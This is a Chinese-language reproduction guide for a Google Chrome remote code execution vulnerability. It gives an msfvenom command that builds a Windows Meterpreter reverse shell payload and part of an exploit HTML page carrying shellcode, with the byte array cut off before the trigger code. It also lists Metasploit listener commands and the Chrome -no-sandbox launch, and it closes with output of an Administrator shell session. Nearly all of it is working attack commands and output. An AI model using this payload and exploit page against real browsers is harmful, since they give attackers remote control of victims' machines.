Google Chrome浏览器远程代码执行漏洞

漏洞复现

1. Kali生成payload：

 # msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.53 lport=4444 -f csharp -o payload.txt

2. 把刚生成的shellcode替换到msf.html文件的shellcode中 msf.html详见附件。

 # vim msf.html

```
<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x56,0x48,0x8b,0x52,0x18,0x48,
    0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,
    0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,
    0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
    0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
    0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
    0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,
    0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
    0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
    0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
    0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
    0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
    0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
    0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
    0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x01,0x35,0x41,0x54,0x49,0x89,0xe4,
```

3. 启动侦听：

 # msfdb run

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 0.0.0.0

msf6 exploit(multi/handler) > run

4. 漏洞验证：

关闭沙箱模式启动Chrome

C:\Program Files\Google\Chrome\Application>chrome.exe -no-sandbox

浏览器访问msf.html：http://192.168.1.53/msf.html

msf成功接收shell

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (200262 bytes) to 192.168.1.48
[*] Meterpreter session 1 opened (192.168.1.53:4444 -> 192.168.1.48:49949) at 2021-04-16 18:34:02 +0800

meterpreter > getuid
Server username: WIN-OR7AGMNTAVK\Administrator
meterpreter >
```